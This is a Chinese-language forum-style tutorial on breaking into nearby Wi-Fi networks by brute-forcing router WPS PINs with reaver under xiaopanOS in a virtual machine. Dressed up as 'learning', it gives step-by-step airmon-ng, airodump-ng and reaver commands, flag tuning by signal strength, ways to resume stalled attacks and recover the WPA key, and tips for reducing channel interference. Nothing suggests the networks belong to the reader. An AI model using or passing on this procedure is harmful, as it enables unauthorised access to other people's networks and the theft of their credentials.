Pin 学习是怎么回事我就不解释了,可以去论坛、可以百度。我只说如何操作,一看就懂, 如果本文看不懂,对不起请您另请高师吧!!本人也无能为力了。。。 ! 。。 。 已经确定支持的 usb 网卡,没有的也请飘过 ath9k rtl8187 carl19170 ipw2000 rt2800pci rt73usb 一、学习前需要先下载两个软件,一个是虚拟机、一个是 xiaopangOS 系统。如果你已经 有了请略过,没有的给你们提供两个下载地址。 1.虚拟机下载地址: http://115.com/file/c24y34iz(xp) http://115.com/file/dplrms29(win7) 再来一个支持 32/64 系统的虚拟机 朋友们按照需要自己下载,教程以第一个虚拟机作为案例讲解,其他两个类似。 2.xiaopangOS 下载地址: http://115.com/file/an959fwj http://115.com/file/anhu9e11#xiaopanOS-0.3.2.iso 二、安装虚拟机 1. 本版本为绿色精简版,直接解压缩 就可以了。 点击 进行绿化安装。最后选择第二个 usb 设置 然后选择 6 退出。安装完毕。 安装完毕。 2. 设置虚拟机 选择第二项,找到你的镜像地址 按照下图的设置选择 虚拟机可以自己起名字 我起的名字是 xiaopang 磁盘大小最小 1G Finish 3. 开启虚拟机 启动完毕 注意此时是没有加载 usb 网卡的,所以是无法进行学习的。第 4 步非常关键。注意看了 4.加载 usb 网卡 看图照做,点击第一个 此时 usb 网卡会从系统中断开连接 然后会出现添加 vm 下驱动的菜单。 定位到你的虚拟机所在文件夹 到此安装完毕。 如果没有出现驱动的菜单看清楚这个步骤 鼠标右键点击我的电脑——属性——硬件——设备管理器 你就会发现在 这里有个带黄色惊叹号的没有正确加载驱动,ok 关键的来了。双击这个 Vmware USB Device 出现下面的图。 点击驱动程序——更新驱动程序——从列表或指定位置安装(高级) (S) 定位到你的虚拟机所在文件夹 然后安装驱动完毕。 加载后右下角的这个图标 请重复。 是有小绿点的 ,如果没有就是网卡没有加载成功, 三、学习过程 1.在虚拟机找到 点击打开。 2.出现 root Shell。敲入第一条命令“airmon-ng start wlan0” 激活监听模式。 3.第二条命令“airodump-ng mon0” 查看周边 AP 信息(抓包) 。 记录下你要学习的路由 MAC 地址。 4. 重新开启一个 root Shell 窗口,第三条命令“reaver -i mon0 -b MAC -a -S -vv” 抓 PIN 码。注意,MAC 中冒号不可省略,MAC 地址的字母大小写均可,-S 是大写字母, -vv 是两个 V 不是 W! (推荐加入 –d 5 参数防止路由僵死 reaver -i mon0 -b MAC -a -S -d 5 -vv) 特别提示: 只有 AP 开启了 WPS、QSS 功能,才可以用 PIN 法破 PSK 密码!如何查看 AP 是否开了 WPS、QSS 呢? WIN7 下,用通常的方式连接 AP,如果在提示输入密码框下面,出现“通过按路由器按 钮也可以连接” ,就确认此 AP 开了 WPS、QSS。PIN 破密对信号要求极为严格,如果信 号稍差, 可能导致破密进度变慢或者路由死锁等 (重复同一个 PIN 码 或 timeout) 因此, 。 确定网卡放置的最佳位置、方向、角度十分重要。 学习开始了,然后就是漫长的等待。 如果 RP 好的话 2-6 小时后进度走到 100%你就会有惊喜发现。 5. 如果出现超长的 WPA PSK 可以使用第四条命令 “reaver –i mon0 –b MAC –p WPA PSK” MAC 为目标的 mac 地址,WPA PSK 为获取到的超长密码。作用是将指定的 pin 码获取 wpa 密码 psk ps: 指定 PIN 得到 WPA PSK reaver -i mon0 -b xx:xx:xx:xx:xx:xx --pin=xxxxxxxx 上述两个命令都行 大家可以自行试验。 6.常用命令释疑 使用方法: airmon-ng start wlan0 reaver -i mon0 -b MAC -a -S -vv -i 监听后接口名称 -b 目标 mac 地址 -a 自动检测目标 AP 最佳配置 -vv 显示更多的非严重警告 -S 使用最小的 DH key,可以提高 PJ 速度 -d 即 delay 每穷举一次的闲置时间 预设为 1 秒 reaver -i mon0 -b MAC -d 0 用上述指令可以大幅加快 PJ 速度 但是有些 AP 可能受不了,做成不同步 -t 即 timeout 每次穷举等待反馈的最长时间,如果信号不错,可以这样设置 reaver -i mon0 -b MAC -d 0 -t .5 另外指定频道可以方便找到信号 -c 1 小结-PJ 时应因状况调整参数: 信号非常好: reaver -i mon0 -b MAC -a -S -vv -d 0 -c 1 信号普通: reaver -i mon0 -b MAC -a -S -vv -d .5 -t .5 -c 1 信号一般: reaver -i mon0 -b MAC -a -S -vv -c 1 所有命令的截图: 7.不是所有的路由都支持 pin 学习。AP 关闭了 WPS、或者没有 QSS 滴,会出现 WARNING: Failed to associate with XX:XX:XX:XX:XX:XX (ESSID: XXXX) 学习过程中也可随时随地按 Ctrl+C 终止 PJ, 重复同一个 PIN 码 或 timeou t 可终止, reaver 会自动保存进度。 重复第 2-4 项内容,先看看 AP 信号强弱或是否关机,继续破,则再次在终端中发送: reaver -i mon0 -b MAC -vv 这条指令下达后,会让你选 y 或 n,选 y 后就继续了 当 reaver 确定前 4 位 PIN 密码后, 其工作完成任务进度数值将直接跳跃至 90.9%以上, 也 就是说只剩余一千个密码组合了(总共一万一千个密码) 。 8.虚拟机中快照的保存 找到这两个图标,第一个是保存快照。加载上一次的快照点击第二个图标。 快照的作用:类似迅雷的断点续传,可以保存上次学习的进度,防止目标 pin 僵死,无法 继续前功尽弃,这是光盘启动、u 盘启动、硬盘启动都无法避免的。而虚拟机则可为自己 上一份保险。 载入快照后如果无法继续,可以尝试先卸载掉 usb 网卡,然后重新加载。然后在开启窗口 继续上次的学习。学习过程中也可随时随地按 Ctrl+C 终止 PJ,重复同一个 PIN 码 或 timeou t 可终止,reaver 会自动保存进度。 reaver -i mon0 -b MAC -vv 这条指令下达后,会让你选 y 或 n,选 y 后就继续了。 四、RTL8187 驱动开启 PIN 码连接路由 感谢 的教程,这里直接引用了,希望作者不要介意。 首先下载 8187 驱动补丁(8187PIN.WDS 补丁) ,解压后复制到 8187 驱动安装目录覆盖同 名文件重启网卡管理程序就 OK 了。 补丁下载地址:http://115.com/file/bew4xiw1#8187PIN.WDS 补丁.zip 下面是连接教程,版权归 xhb6263 所有 编后语:本文后期引用了论坛的部分作者的截图和文字,在此表示对原作者的感谢。希 望不要引起版权纠纷,O(∩_∩)O 哈哈~。希望小鸟们能从本文中找到合适方法与技巧。 如果看过本文后你还无法领悟,那只能说明我这个菜鸟老师水平太低了,请您移步另请 高教吧,本文不接受任何中差评!^_^ 希望探讨交流分享经验,尤其非常重要的是喜欢在线说话的希望你加入“无线の城市 Q 群:202178779”等待你的到来。沈阳的老乡们希望你加入我的老乡 qq 群:30112865. 两个群的敲门砖都是:anywlanWIFI。不要忘记哦,否则你懂得! 后记:(不断更新中,希望提供参考资料) 1. 遇见 8187 驱动 RF-kill 的 xiaopanos 对 8187 的网卡支持不是太好,有时会出现驱动加载不了,就是输入第一条命令 后出现 operation not possible due to RF-kill, 我想大部分人也遇到过把。 不知道新版本是否 解决这个问题,这个是 0.3.2 版本的。 第一种尝试的解决办法:这时候就断开 USB,等上大概 10 几秒把再插上,连续插拔几次 总有一次会好。 第二种尝试的解决办法: 先运行一下奶瓶扫描一会, 然后退出奶瓶。 虚拟机 USB 图标 (USB 图标上的小点) ifconfig wlan0 up airmon-ng start wlan0 2. reaver 破密进度表 全能保存办法 reaver 的进度表文件保存在/etc/reaver/MAC 地址.wpc 用资源管理器,手工将以 MAC 地 由深绿变成浅绿色,变浅绿就输入 址命名的后辍为.wpc 的文件拷贝到 U 盘或硬盘中,下次重启动后,再手工复制到 /etc/reaver/ 目录下即可。 MAC 地址.wpc 其实是个文本文件,格式与破密用字典酷似,如果进度到 99.9%后,AP 死机,可打开它,总共 1000 个 3 位数,找出剩余的十几个 PIN 码,用 QSS、WPS 客户 端软件,手动测试、破密。 3. PIN 破密降低 timeout、同码重复的非常给力措施之一 首先是 PIN 难易与 MAC 无关的!主要跟路由所在频道的 信道拥挤程度相关! (同一频道 中有几个路由,特别是强信号的 AP 会相互干扰,造成 timeout) 一般 AP 默认频道 cn 6,部分为 1 cn 解决“同频干扰”“邻频干扰”的原则:设法 调虎离山(这个我想大家都懂的)。 、 将能调动的 AP 远离破密 AP 至少 3 个 CN 以上